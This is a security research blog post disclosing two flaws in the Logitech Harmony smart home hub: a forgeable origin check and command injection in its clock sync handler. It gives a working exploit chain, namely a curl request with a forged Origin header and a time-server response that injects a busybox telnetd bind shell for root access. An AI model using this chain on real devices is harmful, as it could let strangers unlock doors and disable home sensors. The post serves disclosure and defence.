Owning the Smart Home with Logitech Harmony Hub

Introduction

Logitech’s Harmony hub is a popular smart home device which enables communication with and control of all network connected devices in your house. It has an install base of millions of users across the globe and supports 270,000 devices from 6,000 brands. Tenable recently released critical, undisclosed vulnerabilities that allow an attacker remote root access without user interaction.

The hub is a favorite among enthusiasts for its scripting and automation capability. As smart home functionality becomes more mainstream, controllers are becoming increasingly necessary to centralize functionality for the user. Amazon (Alexa), Google (Home), Apple (Homekit), and Logitech (Harmony) all have products that offer centralized control of the various home devices from security systems to entertainment devices. Logitech’s Harmony is a popular choice, with a user base of at least seven figures. The nature of the smart home hub creates huge opportunity for an attacker. If they can control the hub, they get access to every device connected to the hub. Smart locks, the Apple TV, your Nest thermostat, even your smart refrigerator can be controlled by a remote attacker.

Logitech Harmony Hub app for Google and Apple

Exploring the device

The hub has several services open over 3 ports implementing XMPP, WebSocket, and a custom web API service. The services are all implemented in Lua, which will be discussed later on.

Nmap service scan for Logitech Harmony Hub

You can acquire the hub’s firmware during a device update and open it up fairly quickly. It contains a Linux kernel and squash filesystem with the application code on it. The application code is a large set of compiled Lua files which implement the hub’s services and functionality. You can decompile it using a patched version of the luadec github project to produce very human-readable source code.

Harmony firmware extraction

The application code is implemented in hundreds of well-organized compiled lua files. This code base implements all of the Harmony’s device logic and smart home related functionality. The device logic encompasses everything from authentication and user-management to firmware update and package control. The Harmony hub uses a messaging system, whereby functionality is implemented by handlers in the application code that can be called by Logitech’s remote servers when the user is controlling the hub with the smartphone app. These message handling functions control the life-blood of the device as the hub turns up the thermostat at night and unlocks your door when you get home. Of course, there is a protection mechanism to ensure that only trusted servers can make requests or use the protected message handling functions. The protection mechanism is flawed, however, allowing any remote attacker to bypass the security measures.

Functionality message handlers

What are the vulnerabilities? A brief description of the interesting vulns + why they work

The hub processes all network requests from remote hosts, but attempts to verify the origin before actually handling the request. This is a great security mechanism in theory; however, the attacker can easily forge the origin with a single line in the HTTP header. This allows any remote attacker to bypass the origin validation check, giving them access to all of the protected message handling functionality.

Vulnerable request origin checking function

One of the hub’s critical message handlers implements clock synchronization functionality. The hub sets its internal clock with a Linux shell command using the input from a trusted synchronization server. The input is passed directly to the operating system without sanitization.

Patch difference of command injection vulnerability

Exploiting the Vulnerabilities — Remote root

Looking back, we have two pieces to the attack so far:

• Operating system command injection on the hub during a query to a trusted synchronization server
• Access to all protected application message handling functionality from broken origin validation

To put these pieces together we perform an HTTP request to set the synchronization server to an attacker-controlled server. The hub will make a request to resynchronize its clock using the newly set server and the attacker and respond with the command injection payload to root the hub.

curl -d "{'cmd':'setup.account?provision',
  'params':
    {
    'provisionInfo':
      {
        'mode':3,
        'authToken':'1',
        'discoveryServer':'http://10.0.0.10'
      }
    }
  }"
  -H "Origin: .myharmony.com"
  -H "Content-Type: application/json"
  http://10.0.0.176:8088

HTTP request with forged origin to point device to attacker-controlled server

{"DiscoveryUrls":
  [{
      "Identifier":"TimeServer/current",
      "Address":"http://10.0.0.10/TimeServer/current"
  }]
}

Device request for time server

{"utc":"0\";/bin/busybox telnetd -l/bin/sh -p9999;date -s \"0"}

Response from attacker controlled time server with command injection payload

Having fun after root

After the device is rooted, a remote attacker can access all smart devices connected to the hub. The attacker can modify Nest thermostat parameters, shut down home security motion or COx sensors, or unlock door deadbolts as shown below in my proof of concept.

Proof of concept — unlocking a deadbolt

Hub-style hardware will always be an attractive target for attackers since they connect many devices through one single product. For this reason, bugs in these products end up being much more critical than bugs in individual IoT devices. These types of hub devices should be held to a higher security standard than other devices to make attacking them more difficult and less attractive.